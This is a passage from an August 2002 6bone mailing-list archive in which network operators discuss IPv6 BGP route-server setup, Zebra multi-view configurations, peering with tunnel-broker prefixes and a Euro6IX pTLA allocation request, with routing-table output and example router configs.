      Origin IGP, metric 500, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:17 2002

  20834 10566 13944
    3ffe:8270:0:1::30 from 3ffe:8270:0:1::30 (80.71.0.50)
    (fe80::5047:32)
      Origin IGP, metric 500, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:16 2002

  16186 24765 13944
    3ffe:81f1:1:2019::2 from 3ffe:81f1:1:2019::2 (213.179.39.66)
    (fe80::d5b3:2742)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:16 2002

  13129 1752 1930 13944
    3ffe:8340::1:6 from 3ffe:8340::1:6 (212.20.133.123)
      Origin IGP, metric 500, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:14 2002

  6435 13944
    3ffe:81f1:1:2015::2 from 3ffe:81f1:1:2015::2 (64.65.64.152)
    (fe80::4041:4098)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:12 2002

  20745 20745 20745 20745 20745 20745 20745 10566 13944
    3ffe:830f::6 from 3ffe:830f::6 (217.9.66.21)
    (fe80::d909:420a)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:12 2002

  3320 680 5539 1930 13944
    3ffe:81f1:1:2003::2 from 3ffe:81f1:1:2003::2 (141.39.66.3)
    (fe80::8d27:4203)
      Origin IGP, metric 700, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 14:37:10 2002

parcr1.fr.ndsoftwarenet.net>

parcr2.fr.ndsoftwarenet.net> sh ipv6 bgp 2001:4f0::1
BGP routing table entry for 2001:4f0::/35
Paths: (8 available, best #5, table Default-IP-Routing-Table)
  Advertised to non peer-group peers:
  3ffe:81f1:0:1::1 3ffe:81f1:0:2::2
  9044 10566 13944
    3ffe:81f1:1:2104::2 from 3ffe:81f1:1:2104::2 (212.101.8.19)
    (fe80::d465:813)
      Origin IGP, metric 700, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 13:48:12 2002

  762 6175 13944
    3ffe:1300:1:e::1 from 3ffe:1300:1:e::1 (199.242.42.3)
    (fe80::260:97ff:fe29:75e5)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 13:48:06 2002

  24765 13944
    3ffe:4005:0:2:: from 3ffe:4005:0:2:: (62.24.229.120)
      Origin IGP, metric 500, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 13:48:05 2002

  8379 6435 13944
    2001:768:e:11::1 from 2001:768:e:11::1 (195.143.108.166)
    (fe80::2d0:79ff:fee2:7800)
      Origin IGP, metric 1000, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 13:48:05 2002

  13944
    3ffe:1ced:ff09::1 from 3ffe:1ced:ff09::1 (66.35.95.2)
    (fe80::4223:5f1e)
      Origin IGP, metric 800, localpref 100, valid, external, best
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 13:48:03 2002

  1752 1930 13944
    3ffe:81f1:1:2101::2 from 3ffe:81f1:1:2101::2 (193.113.58.80)
    (fe80::c171:3a50)
      Origin IGP, metric 1000, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 13:48:03 2002

  2602 2200 1930 13944
    3ffe:81f1:1:2106::2 from 3ffe:81f1:1:2106::2 (158.64.16.21)
    (fe80::9e40:1015)
      Origin IGP, metric 600, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 13:48:00 2002

  8973 24765 13944
    3ffe:4008:1::11 from 3ffe:4008:1::11 (192.16.124.2)
    (fe80::c010:7c02)
      Origin IGP, metric 600, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Thu Aug  8 13:47:59 2002

parcr2.fr.ndsoftwarenet.net>

Best Regards,

Nicolas DEFFAYET


From tvo@EnterZone.Net Thu Aug  8 06:58:06 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Pekka Savola <pekkas@netcore.fi>
cc: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>, 6bone@mailman.isi.edu
Subject: Re: [6bone] IPv6 route server
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On Thu, 8 Aug 2002, Pekka Savola wrote:

> On Thu, 8 Aug 2002, John Fraizer wrote:
> > I am currious what soft-reconfiguration has to do with bestpath selection
> > and redistribution?
> 
> There is a feature/bug [in Cisco (noticed on GSR 12.0(22)S) at least] that
> unless you have soft-reconfiguration inbound, 'sh bgp ipv6 xxx' shows only 
> the best path.
> 

Ahhh... Well, with Zebra, we try very hard not to emulate the BUGS in IOS
while still maintaining the look/feel. ;-)

The only advantage to running soft-reconfiguration inbound on a peer with
zebra is that you can do a "sh ip bgp nei [x.x.x.x | xx::xx]
received-routes" and display all prefixes that the peer sent you,
INCLUDING prefixes that were filtered by any inbound policy you may have
established on the peer.

Most people running Zebra that I know use soft-reconfiguration to achieve
the ability to do "clear bgp [neighbor] soft in" on peers that don't
support route-refresh.

It is not needed if your peer supports route-refresh and will save memory
if you disable it (on peers that support route-refresh).


> Looked quite similar to me, but perhaps I was taking conclusions too far
> :-)

Hehehe.  It is pretty close, isn't it?

I think the root cause of it only showing one prefix originally in this
case was that it was configured as an iBGP peer, on top of the fact that
bestpath selection on the two border routers is preventing them from
sending all paths they see to the route-server.

I have thought about this a bit and may have come up with a solution that
will give the route-server a "full" view of what the borders have.

On the borders, if Nicholas were to do like this:


!This is the MAIN view, the one for bestpath selection that will be used
!by the border router.
router bgp 65501
 neighbor a::a remote-as AAAA
 no neighbor a::a activate
 neighbor b::b remote-as BBBB
 no neighbor b::b activate
 neighbor c::c remote-as CCCC
 no neighbor c::c activate
!
 address-family ipv6
 network [announce your networks here]
 neighbor a::a activate
 neighbor b::b activate
 neighbor c::c activate
 exit-address-family
!
!This is the AAAA view for the route-server
router bgp 65501 view AAAA
 neighbor a::a remote-as AAAA
 no neighbor a::a activate
 neighbor route::server remote-as 65501
 no neighbor route::server activate
!
 address-family ipv6
 neighbor a::a activate
 neighbor a::a filter-list 2 out
 neighbor route::server activate
 neighbor route::server attribute-unchanged
!
!This is the BBBB view for the route-server
router bgp 65501 view BBBB
 neighbor b::b remote-as BBBB
 no neighbor b::b activate
 neighbor route::server remote-as 65501
 no neighbor route::server activate
!
 address-family ipv6
 neighbor b::b activate
 neighbor b::b filter-list 2 out
 neighbor route::server activate
 neighbor route::server attribute-unchanged
!
!This is the CCCC view for the route-server
router bgp 65501 view CCCC
 neighbor c::c remote-as CCCC
 no neighbor c::c activate
 neighbor route::server remote-as 65501
 no neighbor route::server activate
!
 address-family ipv6
 neighbor c::c activate
 neighbor c::c filter-list 2 out
 neighbor route::server activate
 neighbor route::server attribute-unchanged
!
ip as-path access-list 2 deny .*


We're simply creating a "view" for each of our eBGP peers.  Since it is
the only peer (besides the route-server) in that view, it will always be
the bestpath to any prefixes it sends us.  Since the route-server is
peered in all "views" but, not in the MAIN (bestpath) view, it will get
everything that the border router(s) get.  We use filter-list 2 (deny
*) outbound on the peers within our special views because we are already
announcing our routes to them in our MAIN view.

This *should* give the route-server *full* views of all your eBGP peers
(at least the ones you set up views for).  IMHO, this makes it a much more
useful utility to the general community since they will then get to see
ALL of the paths you see to a particular path vs just the selected
bestpath on each border router.

Note: You shouldn't have to change ANY of the configuration on the
route-server itself.  Simply remove the route-server from the MAIN view on
the border routers and create a view for each peer you want to appear in
route-server queries with [peer] and [route-server] being the only
configured neighbors in that view.

I've really got to cut back on the caffine!



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From tvo@EnterZone.Net Thu Aug  8 07:02:08 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] IPv6 route server
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On 8 Aug 2002, Nicolas DEFFAYET wrote:

> On Thu, 2002-08-08 at 15:07, John Fraizer wrote:
> > 
> > On 8 Aug 2002, Nicolas DEFFAYET wrote:
> > 
> > 
> > That shows two views now.  So, route-reflector-client worked better than
> > route-server-client?  Cool.  I'm currious.  If you do a sh ip bgp
> > 2001:4f0::1 on your borders, how many paths do you see?
> 
> route-server-client don't work for me, when i try it i get a Idle state.
> Cisco routers don't have route-server-client command...
> 
> parcr1.fr.ndsoftwarenet.net> sh ipv6 bgp 2001:4f0::1
> BGP routing table entry for 2001:4f0::/35
> Paths: (37 available, best #7, table Default-IP-Routing-Table)


> parcr2.fr.ndsoftwarenet.net> sh ipv6 bgp 2001:4f0::1
> BGP routing table entry for 2001:4f0::/35
> Paths: (8 available, best #5, table Default-IP-Routing-Table)

Take a look at the multiview config I sent in my last email.  From what I
see above, it will cause the route-server to see 45 paths to that
prefix.  It's just a suggesion.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From odysseus@telemacchus.soa.co.nz Thu Aug  8 07:15:49 2002
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From: "Chris Hellberg" <odysseus@soa.co.nz>
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Subject: [6bone] peering
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Hi, 

I've got a ::/48 allocation from a tunnel broker which has been working well 
for getting connectivity to and from the 6bone. However, I'd now like to get 
in to some peering and exchanging of prefixes with others. However, under 
ipv6 it's a lot harder due to strict aggregation rules. 

Therefore, are the only people I can peer with are others who also have 
similar ::/48's which are part of the same larger ::/28? If not, then is the 
only way to be able to peer with others is expect your upstream pTLA people 
to peer with the other pTLAs? Is the intention of an allocation from a 
tunnel provider just a temporary thing before getting a prefix from my 
upstream provider, so they're not really my addresses per se to annouce to 
others? What's a generally accepted practice for this sort of thing? The 
main problems is that it'll be many Christmases before many immediate 
upstreams offer anything in the way of ipv6 allocations. 

Also I'd be interested if anyone would be prepared to offer just a passive 
6bone route feed? 

We've got a mini-ix here in NZ peering with several other similar tunnel 
allocations, but connecting these up to other tunnels would be ideal - 
there's not much fueling the v6 growth in New Zealand. 

Cheers, 

Chris

From tom@blazing.de Thu Aug  8 07:24:35 2002
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From: "Tom Spier" <Tom@blazing.de>
To: "Gert Doering" <gert@space.net>,
   "Nicolas DEFFAYET" <nicolas.deffayet@ndsoftware.net>
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References: <1028760196.15383.785.camel@wks1-1.corp.ndsoftware.com> <20020808091915.J27015@Space.Net>
Subject: Re: [6bone] Build a tunnel with modem/router that filter IP protocol 41
Date: Thu, 8 Aug 2002 16:24:28 +0200
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An other Solution could is a VPN like tunnel (between 2 linux boxes vtund
works perfect) and to set up an IPv6-in-IPv4 tunnel  which will be
established over an IPv4 tunnel. (: In this case, it is possible to tunnel
IPv6 behind a NAT-Gateway.

Tom Spier

----- Original Message -----
Sent: Thursday, August 08, 2002 9:19 AM


> Hi,
>
> On Thu, Aug 08, 2002 at 12:43:16AM +0200, Nicolas DEFFAYET wrote:
> [..]
> > You can read on the eicon website
> > (http://www.eicon.com/support/helpweb/adsl/vpn.asp):
> > "The NAT Router built-in to the 24xx series allows only TCP, UDP, GRE,
> > and ICMP protocols through. Any other protocols are silently dropped for
> > security reasons."
> [..]
> > => What's the possibility for build a IPv6 over IPv4 with this
> > modem/router ?
>
> Depending on your IPv6 router's capabilities, you could do IPv6 over GRE -
> this might work.
>
> Gert Doering
>         -- NetMaster
> --
> Total number of prefixes smaller than registry allocations:  46631
(46284)
>
> SpaceNet AG                 Mail: netmaster@Space.Net
> Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
> 80807 Muenchen              Fax : +49-89-32356-299
>
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>


From nicolas.deffayet@ndsoftware.net Thu Aug  8 07:30:06 2002
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Subject: Re: [6bone] IPv6 route server
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: John Fraizer <tvo@EnterZone.Net>
Cc: Pekka Savola <pekkas@netcore.fi>, 6bone@mailman.isi.edu
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On Thu, 2002-08-08 at 15:57, John Fraizer wrote:
> 
> I think the root cause of it only showing one prefix originally in this
> case was that it was configured as an iBGP peer, on top of the fact that
> bestpath selection on the two border routers is preventing them from
> sending all paths they see to the route-server.
> 
> I have thought about this a bit and may have come up with a solution that
> will give the route-server a "full" view of what the borders have.
> 
> On the borders, if Nicholas were to do like this:
> 
> 
> !This is the MAIN view, the one for bestpath selection that will be used
> !by the border router.
> router bgp 65501
>  neighbor a::a remote-as AAAA
>  no neighbor a::a activate
>  neighbor b::b remote-as BBBB
>  no neighbor b::b activate
>  neighbor c::c remote-as CCCC
>  no neighbor c::c activate
> !
>  address-family ipv6
>  network [announce your networks here]
>  neighbor a::a activate
>  neighbor b::b activate
>  neighbor c::c activate
>  exit-address-family
> !
> !This is the AAAA view for the route-server
> router bgp 65501 view AAAA
>  neighbor a::a remote-as AAAA
>  no neighbor a::a activate
>  neighbor route::server remote-as 65501
>  no neighbor route::server activate
> !
>  address-family ipv6
>  neighbor a::a activate
>  neighbor a::a filter-list 2 out
>  neighbor route::server activate
>  neighbor route::server attribute-unchanged
> !
> !This is the BBBB view for the route-server
> router bgp 65501 view BBBB
>  neighbor b::b remote-as BBBB
>  no neighbor b::b activate
>  neighbor route::server remote-as 65501
>  no neighbor route::server activate
> !
>  address-family ipv6
>  neighbor b::b activate
>  neighbor b::b filter-list 2 out
>  neighbor route::server activate
>  neighbor route::server attribute-unchanged
> !
> !This is the CCCC view for the route-server
> router bgp 65501 view CCCC
>  neighbor c::c remote-as CCCC
>  no neighbor c::c activate
>  neighbor route::server remote-as 65501
>  no neighbor route::server activate
> !
>  address-family ipv6
>  neighbor c::c activate
>  neighbor c::c filter-list 2 out
>  neighbor route::server activate
>  neighbor route::server attribute-unchanged
> !
> ip as-path access-list 2 deny .*
> 
> 
> We're simply creating a "view" for each of our eBGP peers.  Since it is
> the only peer (besides the route-server) in that view, it will always be
> the bestpath to any prefixes it sends us.  Since the route-server is
> peered in all "views" but, not in the MAIN (bestpath) view, it will get
> everything that the border router(s) get.  We use filter-list 2 (deny
> *) outbound on the peers within our special views because we are already
> announcing our routes to them in our MAIN view.
> 
> This *should* give the route-server *full* views of all your eBGP peers
> (at least the ones you set up views for).  IMHO, this makes it a much more
> useful utility to the general community since they will then get to see
> ALL of the paths you see to a particular path vs just the selected
> bestpath on each border router.
> 
> Note: You shouldn't have to change ANY of the configuration on the
> route-server itself.  Simply remove the route-server from the MAIN view on
> the border routers and create a view for each peer you want to appear in
> route-server queries with [peer] and [route-server] being the only
> configured neighbors in that view.
> 

I can't do that for more than 50 neighbors...

If you check route servers on
http://www.traceroute.org/#Route%20Servers, the route server display
only best-paths of the remote routers or the best path from the
route-server...

Best Regards,

Nicolas DEFFAYET


From tvo@EnterZone.Net Thu Aug  8 07:40:52 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Chris Hellberg <odysseus@soa.co.nz>
cc: "6bone@mailman.isi.edu" <6bone@mailman.isi.edu>
Subject: Re: [6bone] peering
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Chris,

Others may feel differently about this but, here is how EnterZone operates
when peering with people who want to announce "more specifics" or
deaggregated prefixes:

We will accept your more-specific (providing that you are the one shown
for that prefix in the 6bone database) but tag it as no-export.  We will
use this direct path to you but, we won't export the route to our other
eBGP peers.  So, you get a direct path to us, we get a direct path to you
and nobody else is any the wiser.  No global table pollution.

I posted a config a week or so ago that shows how we're doing this.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From andyf@penfold.noc.clara.net Thu Aug  8 07:43:57 2002
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From: Andy Furnell <andy@ipng.org.uk>
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On Thu, Aug 08, 2002 at 04:30:12PM +0200, Nicolas DEFFAYET wrote:
> 
> On Thu, 2002-08-08 at 15:57, John Fraizer wrote:
> > 
> > I think the root cause of it only showing one prefix originally in this
> > case was that it was configured as an iBGP peer, on top of the fact that
> > bestpath selection on the two border routers is preventing them from
> > sending all paths they see to the route-server.
> > 
> > I have thought about this a bit and may have come up with a solution that
> > will give the route-server a "full" view of what the borders have.
> > 
> > On the borders, if Nicholas were to do like this:
> > 
> > 
> > !This is the MAIN view, the one for bestpath selection that will be used
> > !by the border router.
> > router bgp 65501
> >  neighbor a::a remote-as AAAA
> >  no neighbor a::a activate
> >  neighbor b::b remote-as BBBB
> >  no neighbor b::b activate
> >  neighbor c::c remote-as CCCC
> >  no neighbor c::c activate
> > !
> >  address-family ipv6
> >  network [announce your networks here]
> >  neighbor a::a activate
> >  neighbor b::b activate
> >  neighbor c::c activate
> >  exit-address-family
> > !
> > !This is the AAAA view for the route-server
> > router bgp 65501 view AAAA
> >  neighbor a::a remote-as AAAA
> >  no neighbor a::a activate
> >  neighbor route::server remote-as 65501
> >  no neighbor route::server activate
> > !
> >  address-family ipv6
> >  neighbor a::a activate
> >  neighbor a::a filter-list 2 out
> >  neighbor route::server activate
> >  neighbor route::server attribute-unchanged
> > !
> > !This is the BBBB view for the route-server
> > router bgp 65501 view BBBB
> >  neighbor b::b remote-as BBBB
> >  no neighbor b::b activate
> >  neighbor route::server remote-as 65501
> >  no neighbor route::server activate
> > !
> >  address-family ipv6
> >  neighbor b::b activate
> >  neighbor b::b filter-list 2 out
> >  neighbor route::server activate
> >  neighbor route::server attribute-unchanged
> > !
> > !This is the CCCC view for the route-server
> > router bgp 65501 view CCCC
> >  neighbor c::c remote-as CCCC
> >  no neighbor c::c activate
> >  neighbor route::server remote-as 65501
> >  no neighbor route::server activate
> > !
> >  address-family ipv6
> >  neighbor c::c activate
> >  neighbor c::c filter-list 2 out
> >  neighbor route::server activate
> >  neighbor route::server attribute-unchanged
> > !
> > ip as-path access-list 2 deny .*
> > 
> > 
> > We're simply creating a "view" for each of our eBGP peers.  Since it is
> > the only peer (besides the route-server) in that view, it will always be
> > the bestpath to any prefixes it sends us.  Since the route-server is
> > peered in all "views" but, not in the MAIN (bestpath) view, it will get
> > everything that the border router(s) get.  We use filter-list 2 (deny
> > *) outbound on the peers within our special views because we are already
> > announcing our routes to them in our MAIN view.
> > 
> > This *should* give the route-server *full* views of all your eBGP peers
> > (at least the ones you set up views for).  IMHO, this makes it a much more
> > useful utility to the general community since they will then get to see
> > ALL of the paths you see to a particular path vs just the selected
> > bestpath on each border router.
> > 
> > Note: You shouldn't have to change ANY of the configuration on the
> > route-server itself.  Simply remove the route-server from the MAIN view on
> > the border routers and create a view for each peer you want to appear in
> > route-server queries with [peer] and [route-server] being the only
> > configured neighbors in that view.
> > 
> 
> I can't do that for more than 50 neighbors...
> 
> If you check route servers on
> http://www.traceroute.org/#Route%20Servers, the route server display
> only best-paths of the remote routers or the best path from the
> route-server...
> 
> Best Regards,
> 
> Nicolas DEFFAYET
> 

Maybe it's time to 'man peer-group'? *g*

A

-- 
Andy Furnell
andy@ipng.org.uk

From tvo@EnterZone.Net Thu Aug  8 07:44:09 2002
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From: John Fraizer <tvo@EnterZone.Net>
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On 8 Aug 2002, Nicolas DEFFAYET wrote:

> 
> I can't do that for more than 50 neighbors...
> 
> If you check route servers on
> http://www.traceroute.org/#Route%20Servers, the route server display
> only best-paths of the remote routers or the best path from the
> route-server...
> 
> Best Regards,
> 
> Nicolas DEFFAYET


Have you found some hard limit in Zebra that prevents you from doing this
or do you just not want to configure views for 50 peers?  I'm just
currious.  Again, this is what makes the MRLG such a useful tool.  You can
look at multiple border (or core) routers to see what THEIR best path is,
etc.  It's completely up to you.  I'm just making suggestions.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From tvo@EnterZone.Net Thu Aug  8 08:01:04 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Andy Furnell <andy@ipng.org.uk>
cc: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>,
   Pekka Savola <pekkas@netcore.fi>, 6bone@mailman.isi.edu
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On Thu, 8 Aug 2002, Andy Furnell wrote:

> On Thu, Aug 08, 2002 at 04:30:12PM +0200, Nicolas DEFFAYET wrote:
> > 
> > > 
> > > This *should* give the route-server *full* views of all your eBGP peers
> > > (at least the ones you set up views for).  IMHO, this makes it a much more
> > > useful utility to the general community since they will then get to see
> > > ALL of the paths you see to a particular path vs just the selected
> > > bestpath on each border router.
> > > 
> > > Note: You shouldn't have to change ANY of the configuration on the
> > > route-server itself.  Simply remove the route-server from the MAIN view on
> > > the border routers and create a view for each peer you want to appear in
> > > route-server queries with [peer] and [route-server] being the only
> > > configured neighbors in that view.
> > > 
> > 
> > I can't do that for more than 50 neighbors...
> > 
> > If you check route servers on
> > http://www.traceroute.org/#Route%20Servers, the route server display
> > only best-paths of the remote routers or the best path from the
> > route-server...
> > 
> > Best Regards,
> > 
> > Nicolas DEFFAYET
> > 
> 
> Maybe it's time to 'man peer-group'? *g*
> 
> A
> 
> -- 
> Andy Furnell
> andy@ipng.org.uk

<smartass>

Border2-BGP# man peer-group
% Unknown command.

</smartass>

I am very familiar with peer-groups and use them to great extent.  They
would NOT work in this situation though.  Peer-groups are view
specific.  Since to achieve the ultimate goal (full views of each peer on
the route-server), we have to create individual views for each eBGP peer
that contain just that peer and the route-server, the use of the
peer-group statement would simply add additional config statements.

I realize that configuring individual views for each eBGP peer is a pain
in the behind and uses more memory than having a single "bestpath" main
view.  The memory issue shouldn't be a problem though.  We're under 500
prefixes in the v6 tables so, for 50 peers, that would be 25500 (25000 in
individual views and 500 selected in the MAIN view) for Zebra to keep
track of.  Compared to 115K prefixes for each v4 view, this is nothing!

Additionally, adding a view and inserting a peer into that view is a
non-destructive task - IE; the peer will never know it happened, no
peering session bounce, blah blah blah.  So, it's a matter of config
hassle.  If you're "collecting tunnels" I guess this could be a daunting
task.  If you peer with some disgression, it shouldn't be too bad.  It's a
one-time task to convert existing peers and a few extra lines of config to
add a view for each new peer from that point forward.

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |




From nicolas.deffayet@ndsoftware.net Thu Aug  8 08:56:40 2002
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Subject: Re: [6bone] peering
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Chris Hellberg <odysseus@soa.co.nz>
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On Wed, 2002-08-07 at 17:03, Chris Hellberg wrote:
Hi, 
> 
> I've got a ::/48 allocation from a tunnel broker which has been working well 
> for getting connectivity to and from the 6bone. However, I'd now like to get 
> in to some peering and exchanging of prefixes with others. However, under 
> ipv6 it's a lot harder due to strict aggregation rules. 
> 
> Therefore, are the only people I can peer with are others who also have 
> similar ::/48's which are part of the same larger ::/28? If not, then is the 
> only way to be able to peer with others is expect your upstream pTLA people 
> to peer with the other pTLAs? Is the intention of an allocation from a 
> tunnel provider just a temporary thing before getting a prefix from my 
> upstream provider, so they're not really my addresses per se to annouce to 
> others? What's a generally accepted practice for this sort of thing? The 
> main problems is that it'll be many Christmases before many immediate 
> upstreams offer anything in the way of ipv6 allocations. 
> 
> Also I'd be interested if anyone would be prepared to offer just a passive 
> 6bone route feed? 

I can offer you a full BGP table, but i filter your /48; for information
i use temporary a private ASN (i will very soon (at the end of this
month if i solve the problem of the 2nd official peer) send my request
to the RIPE)


Best Regards,

Nicolas DEFFAYET


From michel@arneill-py.sacramento.ca.us Thu Aug  8 09:33:26 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
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> John Fraizier wrote:
> Others may feel differently about this but, here is how
> EnterZone operates when peering with people who want to
> announce "more specifics" or deaggregated prefixes:
> We will accept your more-specific (providing that you
> are the one shown for that prefix in the 6bone database)
> but tag it as no-export. We will use this direct path to
> you but, we won't export the route to our other eBGP peers.
> So, you get a direct path to us, we get a direct path to
> you and nobody else is any the wiser.  No global table
> pollution.

The way John does it looks good to me.

> I posted a config a week or so ago that shows how we're
> doing this.

About the config itself:

>> - There is overlap in the following two lines:
>> neighbor 3ffe:1ced:ff02::2 prefix-list AS-ARNEILLPY in neighbor 
>> 3ffe:1ced:ff02::2 route-map AS-ARNEILLPY in The prefix-list is
useless 
>> as the route-map uses it IMHO.
 
> Michel, actually, if you look at our config for your peering
> session, the prefix-list actually does do something.  Since I
> use a "canned" route-map for all peers, I have to use the
> neighbor 3ffe:1ced:ff02::2 prefix-list AS-ARNEILLPY in on your
> peering session.

Now I understand why you do it this way. I'm curious about one thing,
though. Can't you use a peer-group for transit? You could probably have
a common route-map for transit (just match the STRICT) and reserve the
canned route-map with people that require special handling.

Michel.


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cc: 6bone@mailman.isi.edu
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On Thu, 8 Aug 2002, Michel Py wrote:

> About the config itself:
> 
> >> - There is overlap in the following two lines:
> >> neighbor 3ffe:1ced:ff02::2 prefix-list AS-ARNEILLPY in neighbor 
> >> 3ffe:1ced:ff02::2 route-map AS-ARNEILLPY in The prefix-list is
> useless 
> >> as the route-map uses it IMHO.
>  
> > Michel, actually, if you look at our config for your peering
> > session, the prefix-list actually does do something.  Since I
> > use a "canned" route-map for all peers, I have to use the
> > neighbor 3ffe:1ced:ff02::2 prefix-list AS-ARNEILLPY in on your
> > peering session.
> 
> Now I understand why you do it this way. I'm curious about one thing,
> though. Can't you use a peer-group for transit? You could probably have
> a common route-map for transit (just match the STRICT) and reserve the
> canned route-map with people that require special handling.
> 
> Michel.

Well, yes.  I could use a peer-group and use the route-map [blah] in
statement as part of the peer-group.  I choose to use a seperate route-map
for each peer so we can do traffic engineering.  Some peers are weighted
differently than others.  I'll also pref some as-paths (up/downstream of a
peer) differently.  For example, you can reach C via both A and B but, the
actual goodput is much better via B.  I use the peer specific route-maps
to pref B_C over(or under as the case may be - I generally depref bad
routes vs adding to the localpref value of good ones) A_C.  Do you see the
reasoning behind the individual route-maps?

I know it's a pain in the behind in some ways to do things like this.  I
have learned though:

Right Way
Easy Way
Best way for the long run

Pick any two...

---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |



From michel@arneill-py.sacramento.ca.us Fri Aug  9 21:07:06 2002
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> John Fraizier wrote:
> Well, yes.  I could use a peer-group and use the route-map
> [blah] in statement as part of the peer-group.  I choose to
> use a seperate route-map for each peer so we can do traffic
> engineering.  Some peers are weighted differently than others.
>  I'll also pref some as-paths (up/downstream of a peer)
> differently.  For example, you can reach C via both A and B
> but, the actual goodput is much better via B.  I use the peer
> specific route-maps to pref B_C over(or under as the case may
> be - I generally depref bad routes vs adding to the localprefs
> value of good ones) A_C.  Do you see the reasoning behind the
> individual route-maps?

I do, I do the same myself. I was just trying to probe if someone had
found a config that achieved all of the three criteria below....

> I know it's a pain in the behind in some ways to do things
> like this. I have learned though:
> Right Way
> Easy Way
> Best way for the long run
> Pick any two...

Yep.

Michel.


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6bone Folk,

The Euro6IX Project has requested a pTLA allocation and I find their 
request consistent with 6bone goals and with merit. In specific, it is the 
first attempt to try the new type of exchange-based aggregation talked 
about in RFC2374, "An IPv6 Aggregatable Global Unicast Address Format". 
Please see their request below.

<http://www.euro6ix.org/>

There is to date no specific Euro6IX entity operational on the 6bone as the 
partners and participants in the Euro6IX project have all the IPv6 
experience from their own entities. I don't view this as a shortcoming as 
the Euro6IX folk are highly IPv6 experienced.

I would hope that this project would result in clearer understanding of the 
issues and practices involved with exchange-based aggregation for the 
future use in the IPv6-based Internet.

I would also appreciate discussion of any considerations that we should be 
aware of as a 6bone test project.

The open review period for this will close 3 September 2002. Please send 
your comments to me or the list.



Thanks,

Bob

===
From: "JORDI PALET MARTINEZ" <jordi.palet@consulintel.es>
Subject: pTLA request by Euro6IX project for exchange experimentation
...
Euro6IX is working on two IX scenarios, and is requesting a 6Bone pTLA in 
order to carry out the second scenario below:

The first scenario would be very similar to the classical conception of the 
IX where the providers' routers are directly connected to the second layer 
infrastructure. In this scenario, the router linking the IXs between each 
other belongs to the domain administratively managed by the Telco owning 
that IX. So an intra-domain routing protocol could be run on this router to 
exchange reachability information with those IX routers belonging to the 
same administrative domain. In this case, for our scopes, a /48 IPv6 prefix 
per IX could be enough to number the devices in each IX. The Telco owning 
the IX will manage the its pTLA or sTLA to number the IX devices.

The second scenario considers on a new conception of the IX based on the 
so-called "layer 3 mediation function". This new role is based on the 
possibility, from the IX to assign IPv6 prefixes independent of the 
provider. In this case, each customer accessing the IX chooses the provider 
(one or more) and the IX assigns them the IPv6 prefixes. If a customer 
decides to change the provider, it does not have to change IPv6 prefixes, 
because they are provider independent and are assigned by that particular 
IX. In this scenario, the router linking the IXs between each other can 
belong to a different administrative domain than that managed by Telco 
owning the IX. So an inter-domain routing protocol could run on this router 
to exchange routing information with the IX routers belonging to other 
administrative domains. In this scenario, the Euro6IX is the owner of the 
pTLA used to assign prefixes to each IX user.

-end


From rvdp@einstein.nlnetlabs.nl Mon Aug 12 01:31:49 2002
